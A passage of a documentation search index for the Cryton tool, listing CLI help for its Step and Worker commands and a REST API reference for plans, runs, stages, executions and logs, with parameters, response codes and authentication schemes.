the Step's execution you want to see.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#steps","title":"steps","text":"<p>Manage Steps from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create_5","title":"create","text":"<p>Create Step from FILE and add it to Stage with STAGE_ID.</p> <p>STAGE_ID is an ID of the Stage you want to add the Stage to.</p> <p>FILE is a path to the file containing the Step template.</p> <p>Arguments: - STAGE_ID - FILE </p> <p>Options: - inventory_files (<code>-i</code>, <code>--inventory-file</code>) - Inventory file used to fill the template. Can be used multiple times. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_8","title":"delete","text":"<p>Delete Step with STEP_ID saved in Cryton.</p> <p>STEP_ID is ID of the Step you want to delete.</p> <p>Arguments: - STEP_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#execute_2","title":"execute","text":"<p>Execute Step with STEP_ID under Stage execution with STAGE_EXECUTION_ID.</p> <p>STEP_ID is ID of the Step you want to execute.</p> <p>STAGE_EXECUTION_ID is an ID of the Stage execution you want to set as a parent of the Step execution.</p> <p>Arguments: - STEP_ID - STAGE_EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_9","title":"list","text":"<p>List existing Steps in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parent (<code>-p</code>, <code>--parent</code>) - Filter Steps using Stage ID. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_8","title":"show","text":"<p>Show Step with STEP_ID saved in Cryton.</p> <p>STEP_ID is ID of the Step you want to see.</p> <p>Arguments: - STEP_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#validate_2","title":"validate","text":"<p>Validate (syntax check) your FILE with Step.</p> <p>FILE is path/to/your/file that you want to validate.</p> <p>Arguments: - FILE </p> <p>Options: - inventory_files (<code>-i</code>, <code>--inventory-file</code>) - Inventory file used to fill the template. Can be used multiple times. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#workers","title":"workers","text":"<p>Manage Workers from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create_6","title":"create","text":"<p>Create new Worker with NAME and save it into Cryton.</p> <p>NAME of your Worker (will be used to match your Worker). For example: \"MyCustomName\".</p> <p>Arguments: - NAME </p> <p>Options: - description (<code>-d</code>, <code>--description</code>) - Description of your Worker (wrap in \"\"). - force (<code>-f</code>, <code>--force</code>) - Ignore, if Worker with the same parameter 'name' exists. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_9","title":"delete","text":"<p>Delete Worker with WORKER_ID saved in Cryton.</p> <p>WORKER_ID is ID of the Worker you want to delete.</p> <p>Arguments: - WORKER_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#health-check","title":"health-check","text":"<p>Check if Worker with WORKER_ID saved in Cryton is online.</p> <p>WORKER_ID is ID of the Worker you want to check.</p> <p>Arguments: - WORKER_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_10","title":"list","text":"<p>List existing Workers in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_9","title":"show","text":"<p>Show Worker with WORKER_ID saved in Cryton.</p> <p>WORKER_ID is ID of the Worker you want to see.</p> <p>Arguments: - WORKER_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/core-rest-api/","title":"Core (REST API)","text":"<p>This document provides documentation of the Cryton REST API endpoints. </p> <p>If you are interested in the Swagger interactive documentation, open the Cryton REST API or browse to the <code>/doc</code> endpoint. For example: http://127.0.0.1:8000/doc/.</p> <p></p> <p>If you are interested in the Redoc interactive documentation, browse to the <code>/redoc</code> endpoint on Cryton REST API. For example: http://127.0.0.1:8000/redoc/.</p> <p></p> <p>Uploaded byte files must be encoded using UTF-8.</p>"},{"location":"interfaces/core-rest-api/#api","title":"API","text":""},{"location":"interfaces/core-rest-api/#apiexecution_variables","title":"/api/execution_variables/","text":""},{"location":"interfaces/core-rest-api/#get","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description","title":"Description","text":"<p>List execution variables.</p>"},{"location":"interfaces/core-rest-api/#parameters","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string plan_execution_id query Plan execution ID used to filter the results. No integer"},{"location":"interfaces/core-rest-api/#responses","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_1","title":"Description","text":"<p>Load all uploaded files (there is no limit or naming convention) and create execution variables from them.</p>"},{"location":"interfaces/core-rest-api/#responses_1","title":"Responses","text":"Code Description 201 400 404 500"},{"location":"interfaces/core-rest-api/#security_1","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiexecution_variablesid","title":"/api/execution_variables/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_1","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_2","title":"Description","text":"<p>Get existing execution variable.</p>"},{"location":"interfaces/core-rest-api/#parameters_1","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this execution variable model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_2","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_2","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_3","title":"Description","text":"<p>Delete execution variable.</p>"},{"location":"interfaces/core-rest-api/#parameters_2","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this execution variable model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_3","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_3","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apilogs","title":"/api/logs/","text":""},{"location":"interfaces/core-rest-api/#get_2","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_4","title":"Description","text":"<p>Get Cryton Core app logs.</p>"},{"location":"interfaces/core-rest-api/#parameters_3","title":"Parameters","text":"Name Located in Description Required Schema filter query No string limit query No number offset query No number"},{"location":"interfaces/core-rest-api/#responses_4","title":"Responses","text":"Code Description 200 500"},{"location":"interfaces/core-rest-api/#security_4","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executions","title":"/api/plan_executions/","text":""},{"location":"interfaces/core-rest-api/#get_3","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_5","title":"Description","text":"<p>List Plan executions.</p>"},{"location":"interfaces/core-rest-api/#parameters_4","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string plan_model_id query Plan ID used to filter the results. No integer run_id query Run ID used to filter the results. No integer"},{"location":"interfaces/core-rest-api/#responses_5","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_5","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executionsid","title":"/api/plan_executions/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_4","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_6","title":"Description","text":"<p>Get existing Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_5","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_6","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_6","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_1","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_7","title":"Description","text":"<p>Delete Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_6","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_7","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_7","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executionsidkill","title":"/api/plan_executions/{id}/kill/","text":""},{"location":"interfaces/core-rest-api/#post_1","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_8","title":"Description","text":"<p>Kill Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_7","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_8","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_8","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executionsidpause","title":"/api/plan_executions/{id}/pause/","text":""},{"location":"interfaces/core-rest-api/#post_2","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_9","title":"Description","text":"<p>Pause Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_8","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_9","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_9","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executionsidreport","title":"/api/plan_executions/{id}/report/","text":""},{"location":"interfaces/core-rest-api/#get_5","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_10","title":"Description","text":"<p>Generate Plan execution report.</p>"},{"location":"interfaces/core-rest-api/#parameters_9","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_10","title":"Responses","text":"Code Description 200 404"},{"location":"interfaces/core-rest-api/#security_10","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executionsidunpause","title":"/api/plan_executions/{id}/unpause/","text":""},{"location":"interfaces/core-rest-api/#post_3","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_11","title":"Description","text":"<p>Resume Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_10","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_11","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_11","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executionsidvalidate_modules","title":"/api/plan_executions/{id}/validate_modules/","text":""},{"location":"interfaces/core-rest-api/#post_4","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_12","title":"Description","text":"<p>Validate modules in Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_11","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_12","title":"Responses","text":"Code Description 200 404 500"},{"location":"interfaces/core-rest-api/#security_12","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplans","title":"/api/plans/","text":""},{"location":"interfaces/core-rest-api/#get_6","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_13","title":"Description","text":"<p>List Plans.</p>"},{"location":"interfaces/core-rest-api/#parameters_12","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string"},{"location":"interfaces/core-rest-api/#responses_13","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_13","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post_5","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_14","title":"Description","text":"<p>Create new Plan. There is no limit or naming convention for inventory files.</p>"},{"location":"interfaces/core-rest-api/#responses_14","title":"Responses","text":"Code Description 201 400 404 500"},{"location":"interfaces/core-rest-api/#security_14","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplansid","title":"/api/plans/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_7","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_15","title":"Description","text":"<p>Get existing Plan.</p>"},{"location":"interfaces/core-rest-api/#parameters_13","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_15","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_15","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_2","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_16","title":"Description","text":"<p>Delete Plan.</p>"},{"location":"interfaces/core-rest-api/#parameters_14","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_16","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_16","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplansidexecute","title":"/api/plans/{id}/execute/","text":""},{"location":"interfaces/core-rest-api/#post_6","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_17","title":"Description","text":"<p>Create new PlanExecution and execute it.</p>"},{"location":"interfaces/core-rest-api/#parameters_15","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_17","title":"Responses","text":"Code Description 200 400"},{"location":"interfaces/core-rest-api/#security_17","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplansidget_plan","title":"/api/plans/{id}/get_plan/","text":""},{"location":"interfaces/core-rest-api/#get_8","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_18","title":"Description","text":"<p>Get Plan's YAML.</p>"},{"location":"interfaces/core-rest-api/#parameters_16","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_18","title":"Responses","text":"Code Description 200 404"},{"location":"interfaces/core-rest-api/#security_18","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplansvalidate","title":"/api/plans/validate/","text":""},{"location":"interfaces/core-rest-api/#post_7","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_19","title":"Description","text":"<p>Validate Plan YAML. There is no limit or naming convention for inventory files.</p>"},{"location":"interfaces/core-rest-api/#responses_19","title":"Responses","text":"Code Description 200 400"},{"location":"interfaces/core-rest-api/#security_19","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiruns","title":"/api/runs/","text":""},{"location":"interfaces/core-rest-api/#get_9","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_20","title":"Description","text":"<p>List Runs.</p>"},{"location":"interfaces/core-rest-api/#parameters_17","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string"},{"location":"interfaces/core-rest-api/#responses_20","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_20","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post_8","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_21","title":"Description","text":"<p>Create new Run.</p>"},{"location":"interfaces/core-rest-api/#responses_21","title":"Responses","text":"Code Description 201 400 404"},{"location":"interfaces/core-rest-api/#security_21","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsid","title":"/api/runs/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_10","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_22","title":"Description","text":"<p>Get existing Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_18","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_22","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_22","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_3","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_23","title":"Description","text":"<p>Delete Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_19","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_23","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_23","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidexecute","title":"/api/runs/{id}/execute/","text":""},{"location":"interfaces/core-rest-api/#post_9","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_24","title":"Description","text":"<p>Execute Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_20","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_24","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_24","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidget_plan","title":"/api/runs/{id}/get_plan/","text":""},{"location":"interfaces/core-rest-api/#get_11","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_25","title":"Description","text":"<p>Get Plan's YAML.</p>"},{"location":"interfaces/core-rest-api/#parameters_21","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_25","title":"Responses","text":"Code Description 200 404"},{"location":"interfaces/core-rest-api/#security_25","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidkill","title":"/api/runs/{id}/kill/","text":""},{"location":"interfaces/core-rest-api/#post_10","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_26","title":"Description","text":"<p>Kill Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_22","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_26","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_26","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidpause","title":"/api/runs/{id}/pause/","text":""},{"location":"interfaces/core-rest-api/#post_11","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_27","title":"Description","text":"<p>Pause Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_23","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_27","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_27","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidpostpone","title":"/api/runs/{id}/postpone/","text":""},{"location":"interfaces/core-rest-api/#post_12","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_28","title":"Description","text":"<p>Postpone Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_24","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_28","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_28","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidreport","title":"/api/runs/{id}/report/","text":""},{"location":"interfaces/core-rest-api/#get_12","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_29","title":"Description","text":"<p>Generate Run report.</p>"},{"location":"interfaces/core-rest-api/#parameters_25","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_29","title":"Responses","text":"Code Description 200 404"},{"location":"interfaces/core-rest-api/#security_29","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidreschedule","title":"/api/runs/{id}/reschedule/","text":""},{"location":"interfaces/core-rest-api/#post_13","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_30","title":"Description","text":"<p>Reschedule Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_26","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_30","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_30","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidschedule","title":"/api/runs/{id}/schedule/","text":""},{"location":"interfaces/core-rest-api/#post_14","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_31","title":"Description","text":"<p>Schedule Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_27","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_31","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_31","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidunpause","title":"/api/runs/{id}/unpause/","text":""},{"location":"interfaces/core-rest-api/#post_15","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_32","title":"Description","text":"<p>Resume Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_28","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_32","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_32","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidunschedule","title":"/api/runs/{id}/unschedule/","text":""},{"location":"interfaces/core-rest-api/#post_16","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_33","title":"Description","text":"<p>Unschedule Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_29","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_33","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_33","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsidvalidate_modules","title":"/api/runs/{id}/validate_modules/","text":""},{"location":"interfaces/core-rest-api/#post_17","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_34","title":"Description","text":"<p>Validate modules in Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_30","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_34","title":"Responses","text":"Code Description 200 404 500"},{"location":"interfaces/core-rest-api/#security_34","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apischema","title":"/api/schema/","text":""},{"location":"interfaces/core-rest-api/#get_13","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_35","title":"Description","text":"<p>OpenApi3 schema for this API. Format can be selected via content negotiation.</p> <ul> <li>YAML: application/vnd.oai.openapi</li> <li>JSON: application/vnd.oai.openapi+json</li> </ul>"},{"location":"interfaces/core-rest-api/#parameters_31","title":"Parameters","text":"Name Located in Description Required Schema format query No string lang query No string"},{"location":"interfaces/core-rest-api/#responses_35","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_35","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistage_executions","title":"/api/stage_executions/","text":""},{"location":"interfaces/core-rest-api/#get_14","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_36","title":"Description","text":"<p>List Stage executions.</p>"},{"location":"interfaces/core-rest-api/#parameters_32","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string plan_execution_id query Plan execution ID used to filter the results. No integer stage_model_id query Stage ID used to filter the results. No integer"},{"location":"interfaces/core-rest-api/#responses_36","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_36","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistage_executionsid","title":"/api/stage_executions/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_15","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_37","title":"Description","text":"<p>Get existing Stage execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_33","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_37","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_37","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_4","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_38","title":"Description","text":"<p>Delete Stage execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_34","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_38","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_38","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistage_executionsidkill","title":"/api/stage_executions/{id}/kill/","text":""},{"location":"interfaces/core-rest-api/#post_18","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_39","title":"Description","text":"<p>Kill Stage execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_35","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_39","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_39","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistage_executionsidre_execute","title":"/api/stage_executions/{id}/re_execute/","text":""},{"location":"interfaces/core-rest-api/#post_19","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_40","title":"Description","text":"<p>Re-execute Stage execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_36","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_40","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_40","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistage_executionsidreport","title":"/api/stage_executions/{id}/report/","text":""},{"location":"interfaces/core-rest-api/#get_16","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_41","title":"Description","text":"<p>Generate Stage execution report.</p>"},{"location":"interfaces/core-rest-api/#parameters_37","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this stage execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_41","title":"Responses","text":"Code Description 200 404"},{"location":"interfaces/core-rest-api/#security_41","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apistages","title":"/api/stages/","text":""},{"location":"interfaces/core-rest-api/#get_17","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_42","title":"Description","text":"<p>List Stages.</p>"},{"location":"interfaces/core-rest-api/#parameters_38","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No 